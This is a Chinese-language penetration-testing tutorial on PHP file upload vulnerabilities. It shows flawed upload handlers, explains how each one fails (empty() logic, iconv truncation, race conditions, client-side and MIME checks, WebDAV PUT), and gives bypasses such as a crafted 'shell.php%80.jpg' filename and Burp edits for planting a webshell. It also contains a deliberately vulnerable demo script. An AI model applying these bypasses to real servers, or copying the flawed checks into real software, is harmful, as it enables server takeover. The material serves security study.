文件上传漏洞可以说是日常渗透测试用得最多的一个漏洞,因为用它获得服务器权限最快最直接。但是想真正把这个漏洞利用好却不那么容易,其中有很多技巧,也有很多需要掌握的知识。俗话说,知己知彼方能百战不殆,因此想要研究怎么防护漏洞,就要了解怎么去利用。
缺少必要的校验
关于PHP中$_FILES数组的使用方法
1 2 3 4 5 6 7 |
$_FILES\[‘file’][‘name’] 客户端文件名称 $_FILES\[‘file’][‘type’] 文件的MIME类型 $_FILES\[‘file’][‘size’] 文件大小 单位字节 $_FILES\[‘file’][‘tmp_name’] 文件被上传后再服务器端临时文件名,可以在php.ini中指定 |
需要注意的是在文件上传结束后,默认的被储存在临时文件夹中,这时必须把他从临时目录中删除或移动到其他地方,否则,脚本运行完毕后,自动删除临时文件,可以使用copy或者*move_uploaded_file
两个函数
这些函数有:empty()、isset()、strpos()、rename()
等,如下面的代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |
#<span class="token operator">!</span>php <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token variable">$operateId</span> <span class="token operator">==</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">{</span> <span class="token variable">$date</span> <span class="token operator">=</span> <span class="token function">date<span class="token punctuation">(</span></span><span class="token string">"Ymd"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token variable">$dest</span> <span class="token operator">=</span> <span class="token variable">$CONFIG</span><span class="token operator">-</span><span class="token operator">></span><span class="token property">basePath</span><span class="token punctuation">.</span><span class="token string">"data/files/"</span><span class="token punctuation">.</span><span class="token variable">$date</span><span class="token punctuation">.</span><span class="token string">"/"</span><span class="token punctuation">;</span> <span class="token variable">$COMMON</span><span class="token operator">-</span><span class="token operator">></span><span class="token function">createDir<span class="token punctuation">(</span></span><span class="token variable">$dest</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment" spellcheck="true"> //if (!is_dir($dest)) mkdir($dest, 0777); </span> <span class="token variable">$nameExt</span> <span class="token operator">=</span> <span class="token function">strtolower<span class="token punctuation">(</span></span><span class="token variable">$COMMON</span><span class="token operator">-</span><span class="token operator">></span><span class="token function">getFileExtName<span class="token punctuation">(</span></span><span class="token global">$_FILES</span><span class="token punctuation">[</span><span class="token string">'Filedata'</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">'name'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token variable">$allowedType</span> <span class="token operator">=</span> <span class="token keyword">array</span><span class="token punctuation">(</span><span class="token string">'jpg'</span><span class="token punctuation">,</span> <span class="token string">'gif'</span><span class="token punctuation">,</span> <span class="token string">'bmp'</span><span class="token punctuation">,</span> <span class="token string">'png'</span><span class="token punctuation">,</span> <span class="token string">'jpeg'</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token operator">!</span><span class="token function">in_array<span class="token punctuation">(</span></span><span class="token variable">$nameExt</span><span class="token punctuation">,</span> <span class="token variable">$allowedType</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">{</span> <span class="token variable">$msg</span> <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token function">empty<span class="token punctuation">(</span></span><span class="token variable">$msg</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">{</span> <span class="token variable">$filename</span> <span class="token operator">=</span> <span class="token function">getmicrotime<span class="token punctuation">(</span></span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token string">'.'</span><span class="token punctuation">.</span><span class="token variable">$nameExt</span><span class="token punctuation">;</span> <span class="token variable">$file_url</span> <span class="token operator">=</span> <span class="token function">urlencode<span class="token punctuation">(</span></span><span class="token variable">$CONFIG</span><span class="token operator">-</span><span class="token operator">></span><span class="token property">baseUrl</span><span class="token punctuation">.</span><span class="token string">'data/files/'</span><span class="token punctuation">.</span><span class="token variable">$date</span><span class="token punctuation">.</span><span class="token string">"/"</span><span class="token punctuation">.</span><span class="token variable">$filename</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token variable">$filename</span> <span class="token operator">=</span> <span class="token variable">$dest</span><span class="token punctuation">.</span><span class="token variable">$filename</span><span class="token punctuation">;</span> <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token function">empty<span class="token punctuation">(</span></span><span class="token global">$_FILES</span><span class="token punctuation">[</span><span class="token string">'Filedata'</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">'error'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">{</span> <span class="token function">move_uploaded_file<span class="token punctuation">(</span></span><span class="token global">$_FILES</span><span class="token punctuation">[</span><span class="token string">'Filedata'</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">'tmp_name'</span><span class="token punctuation">]</span><span class="token punctuation">,</span><span class="token variable">$filename</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">file_exists<span class="token punctuation">(</span></span><span class="token variable">$filename</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">{</span> <span class="token comment" spellcheck="true"> //$msg = 1; </span> <span class="token variable">$msg</span> <span class="token operator">=</span> <span class="token variable">$file_url</span><span class="token punctuation">;</span> @<span class="token function">chmod<span class="token punctuation">(</span></span><span class="token variable">$filename</span><span class="token punctuation">,</span> <span class="token number">0444</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token keyword">else</span><span class="token punctuation">{</span> <span class="token variable">$msg</span> <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token variable">$outMsg</span> <span class="token operator">=</span> <span class="token string">"fileUrl="</span><span class="token punctuation">.</span><span class="token variable">$msg</span><span class="token punctuation">;</span> <span class="token global">$_SESSION</span><span class="token punctuation">[</span><span class="token string">"eoutmsg"</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token variable">$outMsg</span><span class="token punctuation">;</span> exit<span class="token punctuation">;</span> <span class="token punctuation">}</span> |
我们来看上面的这段代码,要想文件成功的上传, if(empty($msg)) 必须为True才能进入if的分支,接下来我们来看empty函数何时返回True,看看PHP Manual怎么说,如图
很明显,""、0、"0"、NULL、FALSE、array()、var $var; 以及没有任何属性的对象都将被认为是空的,如果var为空,则返回True。 非常好,接下来我们往回看,有这样的几行代码
1 2 3 4 5 |
#<span class="token operator">!</span>php <span class="token variable">$allowedType</span> <span class="token operator">=</span> <span class="token keyword">array</span><span class="token punctuation">(</span><span class="token string">'jpg'</span><span class="token punctuation">,</span> <span class="token string">'gif'</span><span class="token punctuation">,</span> <span class="token string">'bmp'</span><span class="token punctuation">,</span> <span class="token string">'png'</span><span class="token punctuation">,</span> <span class="token string">'jpeg'</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token operator">!</span><span class="token function">in_array<span class="token punctuation">(</span></span><span class="token variable">$nameExt</span><span class="token punctuation">,</span> <span class="token variable">$allowedType</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">{</span> <span class="token variable">$msg</span> <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> |
看见没有,即使我们上传类似shell.php的文件,虽然程序的安全检查把$msg赋值为0,经empty($msg)后,仍然返回True,于是我们利用这个逻辑缺陷即可成功的上传shell.php。
这些函数有iconv()、copy()等,如下面的这段代码(摘自SiteStar)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
#<span class="token operator">!</span>php <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function">img_create<span class="token punctuation">(</span></span><span class="token punctuation">)</span><span class="token punctuation">{</span> <span class="token variable">$file_info</span> <span class="token operator">=</span><span class="token operator">&</span> <span class="token scope">ParamHolder<span class="token punctuation">::</span></span><span class="token function">get<span class="token punctuation">(</span></span><span class="token string">'img_name'</span><span class="token punctuation">,</span> <span class="token keyword">array</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token constant">PS_FILES</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token variable">$file_info</span><span class="token punctuation">[</span><span class="token string">'error'</span><span class="token punctuation">]</span> <span class="token operator">></span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">{</span> <span class="token scope">Notice<span class="token punctuation">::</span></span><span class="token function">set<span class="token punctuation">(</span></span><span class="token string">'mod_marquee/msg'</span><span class="token punctuation">,</span> <span class="token function">__<span class="token punctuation">(</span></span><span class="token string">'Invalid post file data!'</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token scope">Content<span class="token punctuation">::</span></span><span class="token function">redirect<span class="token punctuation">(</span></span><span class="token scope">Html<span class="token punctuation">::</span></span><span class="token function">uriquery<span class="token punctuation">(</span></span><span class="token string">'mod_tool'</span><span class="token punctuation">,</span> <span class="token string">'upload_img'</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token operator">!</span><span class="token function">preg_match<span class="token punctuation">(</span></span><span class="token string">'/\.('</span><span class="token punctuation">.</span><span class="token constant">PIC_ALLOW_EXT</span><span class="token punctuation">.</span><span class="token string">')$/i'</span><span class="token punctuation">,</span> <span class="token variable">$file_info</span><span class="token punctuation">[</span><span class="token string">"name"</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">{</span> <span class="token scope">Notice<span class="token punctuation">::</span></span><span class="token function">set<span class="token punctuation">(</span></span><span class="token string">'mod_marquee/msg'</span><span class="token punctuation">,</span> <span class="token function">__<span class="token punctuation">(</span></span><span class="token string">'File type error!'</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token scope">Content<span class="token punctuation">::</span></span><span class="token function">redirect<span class="token punctuation">(</span></span><span class="token scope">Html<span class="token punctuation">::</span></span><span class="token function">uriquery<span class="token punctuation">(</span></span><span class="token string">'mod_marquee'</span><span class="token punctuation">,</span> <span class="token string">'upload_img'</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token function">file_exists<span class="token punctuation">(</span></span><span class="token constant">ROOT</span><span class="token punctuation">.</span><span class="token string">'/upload/image/'</span><span class="token punctuation">.</span><span class="token variable">$file_info</span><span class="token punctuation">[</span><span class="token string">"name"</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">{</span> <span class="token variable">$file_info</span><span class="token punctuation">[</span><span class="token string">"name"</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token scope">Toolkit<span class="token punctuation">::</span></span><span class="token function">randomStr<span class="token punctuation">(</span></span><span class="token number">8</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">strrchr<span class="token punctuation">(</span></span><span class="token variable">$file_info</span><span class="token punctuation">[</span><span class="token string">"name"</span><span class="token punctuation">]</span><span class="token punctuation">,</span><span class="token string">"."</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token operator">!</span><span class="token this">$this</span><span class="token operator">-</span><span class="token operator">></span><span class="token function">_savelinkimg<span class="token punctuation">(</span></span><span class="token variable">$file_info</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">{</span> <span class="token scope">Notice<span class="token punctuation">::</span></span><span class="token function">set<span class="token punctuation">(</span></span><span class="token string">'mod_marquee/msg'</span><span class="token punctuation">,</span> <span class="token function">__<span class="token punctuation">(</span></span><span class="token string">'Link image upload failed!'</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token scope">Content<span class="token punctuation">::</span></span><span class="token function">redirect<span class="token punctuation">(</span></span><span class="token scope">Html<span class="token punctuation">::</span></span><span class="token function">uriquery<span class="token punctuation">(</span></span><span class="token string">'mod_marquee'</span><span class="token punctuation">,</span> <span class="token string">'upload_img'</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment" spellcheck="true"> //... </span> <span class="token punctuation">}</span> <span class="token keyword">private</span> <span class="token keyword">function</span> <span class="token function">_savelinkimg<span class="token punctuation">(</span></span><span class="token variable">$struct_file</span><span class="token punctuation">)</span><span class="token punctuation">{</span> <span class="token variable">$struct_file</span><span class="token punctuation">[</span><span class="token string">'name'</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token function">iconv<span class="token punctuation">(</span></span><span class="token string">"UTF-8"</span><span class="token punctuation">,</span> <span class="token string">"gb2312"</span><span class="token punctuation">,</span> <span class="token variable">$struct_file</span><span class="token punctuation">[</span><span class="token string">'name'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">move_uploaded_file<span class="token punctuation">(</span></span><span class="token variable">$struct_file</span><span class="token punctuation">[</span><span class="token string">'tmp_name'</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token constant">ROOT</span><span class="token punctuation">.</span><span class="token string">'/upload/image/'</span><span class="token punctuation">.</span><span class="token variable">$struct_file</span><span class="token punctuation">[</span><span class="token string">'name'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token scope">ParamParser<span class="token punctuation">::</span></span><span class="token function">fire_virus<span class="token punctuation">(</span></span><span class="token constant">ROOT</span><span class="token punctuation">.</span><span class="token string">'/upload/image/'</span><span class="token punctuation">.</span><span class="token variable">$struct_file</span><span class="token punctuation">[</span><span class="token string">'name'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> |
我们再来看看这段代码, img_create()
函数的逻辑非常严密,安全检查做的很到位。然而问题出在了_savelinkimg()
函数,即在保存文件的前面程序员错误的使用了iconv()
函数,并且文件名经过了此函数,为什么是错用了呢?因为啊 iconv函数在转码过程中,可能存在字符串截断的问题:
在iconv转码的过程中,utf->gb2312(其他部分编码之间转换同样存在这个问题)会导致字符串被截断,如:$filename="shell.php(hex).jpg";
(hex为0x80-0x99),经过iconv转码后会变成$filename="shell.php ";
所以,经过iconv 后$struct_file['name'])
为shell.php,于是我们利用这个逻辑缺陷可以成功的上传shell.php(前提是上传的文件名为shell.php{%80-%99}.jpg
)。
条件竞争漏洞,这类历史经典漏洞在逐渐淡出人们视线的时候,再次爆发..
接着看下面这段代码(摘自某VPN系统)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
#<span class="token operator">!</span>php <span class="token php"><span class="token delimiter"><?</span> <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token global">$_POST</span><span class="token punctuation">[</span><span class="token string">'realfile'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">{</span> <span class="token function">copy<span class="token punctuation">(</span></span><span class="token global">$_POST</span><span class="token punctuation">[</span><span class="token string">'realfile'</span><span class="token punctuation">]</span><span class="token punctuation">,</span><span class="token global">$_POST</span><span class="token punctuation">[</span><span class="token string">'path'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token variable">$file</span> <span class="token operator">=</span> <span class="token function">mb_convert_encoding<span class="token punctuation">(</span></span><span class="token global">$_POST</span><span class="token punctuation">[</span>file<span class="token punctuation">]</span><span class="token punctuation">,</span><span class="token string">"GBK"</span><span class="token punctuation">,</span><span class="token string">"UTF-8"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">header<span class="token punctuation">(</span></span><span class="token string">"Pragma:"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">header<span class="token punctuation">(</span></span><span class="token string">"Cache-Control:"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">header<span class="token punctuation">(</span></span><span class="token string">"Content-type:application/octet-stream"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">header<span class="token punctuation">(</span></span><span class="token string">"Content-Length:"</span><span class="token punctuation">.</span><span class="token function">filesize<span class="token punctuation">(</span></span><span class="token global">$_POST</span><span class="token punctuation">[</span>path<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">header<span class="token punctuation">(</span></span><span class="token string">"Content-Disposition:attachment;filename=\"$file\""</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">readfile<span class="token punctuation">(</span></span><span class="token global">$_POST</span><span class="token punctuation">[</span>path<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token global">$_POST</span><span class="token punctuation">[</span><span class="token string">'realfile'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">{</span> <span class="token function">unlink<span class="token punctuation">(</span></span><span class="token global">$_POST</span><span class="token punctuation">[</span><span class="token string">"path"</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token delimiter">?></span></span> |
上述代码的逻辑表面上看起来是这样的(对于攻击者来说):
利用copy函数,将realfile生成shell.php-→删除掉shell.php
这样初看起来没办法利用,但是仔细一想, 这段代码其实是存在逻辑问题的,所以我们可以利用这个逻辑缺陷达到GetShell的目的。
具体利用方法:
copy成temp.php-->不断访问temp.php->temp.php生成shell.php->删除temp.php
通常一个文件以HTTP协议进行上传时,将以POST请求发送至Web服务器,Web服务器接收到请求并同意后,用户与Web服务器将建立连接,并传输数据。一般文件上传过程中将会经过如下几个检测步骤:
WebDAV是一种基于 HTTP 1.1协议的通信协议.它扩展了HTTP 1.1,在GET、POST、HEAD等几个HTTP标准方法以外添加了一些新的方法。使应用程序可直接对Web Server直接读写,并支持写文件锁定(Locking)及解锁(Unlock),还可以支持文件的版本控制。当WebDAV开启PUT,MOVE,COPY,DELETE方法时,攻击者就可以向服务器上传危险脚本文件。
此时可以使用OPTIONS探测服务器支持的http方法,如果支持PUT,就进行上传脚本文件,在通过MOVE或COPY方法改名。当开启DELETE时还可以删除文件。
参考:http://wiki.wooyun.org/server:httpput
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 |
<span class="token operator"><</span><span class="token operator">?</span>php<span class="token comment" spellcheck="true"> //文件上传漏洞演示脚本之js验证 </span>$uploaddir <span class="token operator">=</span> <span class="token string">'uploads/'</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">isset<span class="token punctuation">(</span></span>$_POST<span class="token punctuation">[</span><span class="token string">'submit'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">file_exists<span class="token punctuation">(</span></span>$uploaddir<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">move_uploaded_file<span class="token punctuation">(</span></span>$_FILES<span class="token punctuation">[</span><span class="token string">'upfile'</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">'tmp_name'</span><span class="token punctuation">]</span><span class="token punctuation">,</span> $uploaddir <span class="token punctuation">.</span> <span class="token string">'/'</span> <span class="token punctuation">.</span> $_FILES<span class="token punctuation">[</span><span class="token string">'upfile'</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">'name'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> echo <span class="token string">'文件上传成功,保存于:'</span> <span class="token punctuation">.</span> $uploaddir <span class="token punctuation">.</span> $_FILES<span class="token punctuation">[</span><span class="token string">'upfile'</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">'name'</span><span class="token punctuation">]</span> <span class="token punctuation">.</span> <span class="token string">"\n"</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span> <span class="token function">exit<span class="token punctuation">(</span></span>$uploaddir <span class="token punctuation">.</span> <span class="token string">'文件夹不存在,请手工创建!'</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment" spellcheck="true"> //print_r($_FILES); </span><span class="token punctuation">}</span> <span class="token operator">?</span><span class="token operator">></span> <span class="token operator"><</span><span class="token operator">!</span>DOCTYPE html PUBLIC "<span class="token comment" spellcheck="true">-//W3C//DTD XHTML 1.0 Transitional//EN" </span> <span class="token string">"<a class="token url-link" href="http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd</a>"</span><span class="token operator">></span> <span class="token operator"><</span>html xmlns<span class="token operator">=</span><span class="token string">"<a class="token url-link" href="http://www.w3.org/1999/xhtml">http://www.w3.org/1999/xhtml</a>"</span><span class="token operator">></span> <span class="token operator"><</span>head<span class="token operator">></span> <span class="token operator"><</span>meta http<span class="token operator">-</span>equiv<span class="token operator">=</span><span class="token string">"Content-Type"</span> content<span class="token operator">=</span><span class="token string">"text/html;charset=gbk"</span><span class="token operator">/</span><span class="token operator">></span> <span class="token operator"><</span>meta http<span class="token operator">-</span>equiv<span class="token operator">=</span><span class="token string">"content-language"</span> content<span class="token operator">=</span><span class="token string">"zh-CN"</span><span class="token operator">/</span><span class="token operator">></span> <span class="token operator"><</span>title<span class="token operator">></span>文件上传漏洞演示脚本<span class="token operator">--</span>JS验证实例<span class="token operator"><</span><span class="token operator">/</span>title<span class="token operator">></span> <span class="token operator"><</span>script type<span class="token operator">=</span><span class="token string">"text/javascript"</span><span class="token operator">></span> <span class="token keyword">function</span> <span class="token function">checkFile<span class="token punctuation">(</span></span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">var</span> file <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">getElementsByName<span class="token punctuation">(</span></span><span class="token string">'upfile'</span><span class="token punctuation">)</span><span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">.</span>value<span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>file <span class="token operator">==</span> <span class="token keyword">null</span> <span class="token operator">||</span> file <span class="token operator">==</span> <span class="token string">""</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token function">alert<span class="token punctuation">(</span></span><span class="token string">"你还没有选择任何文件,不能上传!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token boolean">false</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment" spellcheck="true"> //定义允许上传的文件类型 </span> <span class="token keyword">var</span> allow_ext <span class="token operator">=</span> <span class="token string">".jpg|.jpeg|.png|.gif|.bmp|"</span><span class="token punctuation">;</span> <span class="token comment" spellcheck="true"> //提取上传文件的类型 </span> <span class="token keyword">var</span> ext_name <span class="token operator">=</span> file<span class="token punctuation">.</span><span class="token function">substring<span class="token punctuation">(</span></span>file<span class="token punctuation">.</span><span class="token function">lastIndexOf<span class="token punctuation">(</span></span><span class="token string">"."</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment" spellcheck="true"> //alert(ext_name); </span> <span class="token comment" spellcheck="true"> //alert(ext_name + "|"); </span> <span class="token comment" spellcheck="true"> //判断上传文件类型是否允许上传 </span> <span class="token keyword">if</span> <span class="token punctuation">(</span>allow_ext<span class="token punctuation">.</span><span class="token function">indexOf<span class="token punctuation">(</span></span>ext_name <span class="token operator">+</span> <span class="token string">"|"</span><span class="token punctuation">)</span> <span class="token operator">==</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">var</span> errMsg <span class="token operator">=</span> <span class="token string">"该文件不允许上传,请上传"</span> <span class="token operator">+</span> allow_ext <span class="token operator">+</span> <span class="token string">"类型的文件,当前文件类型为:"</span> <span class="token operator">+</span> ext_name<span class="token punctuation">;</span> <span class="token function">alert<span class="token punctuation">(</span></span>errMsg<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token boolean">false</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token operator"><</span><span class="token operator">/</span>script<span class="token operator">></span> <span class="token operator"><</span>body<span class="token operator">></span> <span class="token operator"><</span>h3<span class="token operator">></span>文件上传漏洞演示脚本<span class="token operator">--</span>JS验证实例<span class="token operator"><</span><span class="token operator">/</span>h3<span class="token operator">></span> <span class="token operator"><</span>form action<span class="token operator">=</span><span class="token string">""</span> method<span class="token operator">=</span><span class="token string">"post"</span> enctype<span class="token operator">=</span><span class="token string">"multipart/form-data"</span> name<span class="token operator">=</span><span class="token string">"upload"</span> onsubmit<span class="token operator">=</span><span class="token string">"return checkFile()"</span><span class="token operator">></span> <span class="token operator"><</span>input type<span class="token operator">=</span><span class="token string">"hidden"</span> name<span class="token operator">=</span><span class="token string">"MAX_FILE_SIZE"</span> value<span class="token operator">=</span><span class="token string">"204800"</span><span class="token operator">/</span><span class="token operator">></span> 请选择要上传的文件:<span class="token operator"><</span>input type<span class="token operator">=</span><span class="token string">"file"</span> name<span class="token operator">=</span><span class="token string">"upfile"</span><span class="token operator">/</span><span class="token operator">></span> <span class="token operator"><</span>input type<span class="token operator">=</span><span class="token string">"submit"</span> name<span class="token operator">=</span><span class="token string">"submit"</span> value<span class="token operator">=</span><span class="token string">"上传"</span><span class="token operator">/</span><span class="token operator">></span> <span class="token operator"><</span><span class="token operator">/</span>form<span class="token operator">></span> <span class="token operator"><</span><span class="token operator">/</span>body<span class="token operator">></span> <span class="token operator"><</span><span class="token operator">/</span>html<span class="token operator">></span> |
客户端JS验证通常做法是验证上传文件的扩展名是否符合验证条件
1.通过firefox的F12修改js代码绕过验证 2.使用burp抓包直接提交,绕过js验证
MIME type的缩写为(Multipurpose Internet Mail Extensions)代表互联网媒体类型(Internet media type),MIME使用一个简单的字符串组成,最初是为了标识邮件Email附件的类型,在html文件中可以使用content-type属性表示,描述了文件类型的互联网标准。
Internet中有一个专门组织IANA来确认标准的MIME类型,但Internet发展的太快,很多应用程序等不及IANA来确认他们使用的MIME类型为标准类型。因此他们使用在类别中以x-开头的方法标识这个类别还没有成为标准,例如:x-gzip,x-tar等。事实上这些类型运用的很广泛,已经成为了事实标准。只要客户机和服务器共同承认这个MIME类型,即使它是不标准的类型也没有关系,客户程序就能根据MIME类型,采用具体的处理手段来处理数据。
Response对象通过设置ContentType使客户端浏览器,区分不同种类的数据,并根据不同的MIME调用浏览器内不同的程序嵌入模块来处理相应的数据。
类别/子类别;参数 Content-Type: [type]/[subtype]; parameter
text:用于标准化地表示的文本信息,文本消息可以是多种字符集和或者多种格式的;
Multipart:用于连接消息体的多个部分构成一个消息,这些部分可以是不同类型的数据;
Application:用于传输应用程序数据或者二进制数据;
Message:用于包装一个E-mail消息;
Image:用于传输静态图片数据;
Audio:用于传输音频或者音声数据;
Video:用于传输动态影像数据,可以是与音频编辑在一起的视频数据格式。
1 2 3 4 5 6 7 8 9 10 |
<span class="token php"><span class="token delimiter"><?php</span> <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token variable">$_FILE</span><span class="token punctuation">[</span><span class="token string">'userfile'</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">'type'</span><span class="token punctuation">]</span> <span class="token operator">!</span><span class="token operator">=</span> <span class="token string">"image/gif"</span><span class="token punctuation">)</span><span class="token punctuation">{</span><span class="token comment" spellcheck="true"> //检测content-type </span> <span class="token keyword">echo</span> <span class="token string">"sorry,we only allow uploading GIF images"</span><span class="token punctuation">;</span> exit<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span> <span class="token keyword">echo</span> <span class="token string">"Upload success!"</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token delimiter">?></span></span> |
以上是一个简单的服务器上传验证代码,只要content-type符合image/gif就允许上传
使用Burp截取上传数据包,修改Content-Type的值,改为image/gif即可成功绕过上传webshell
1 2 3 4 5 6 7 8 9 10 11 |
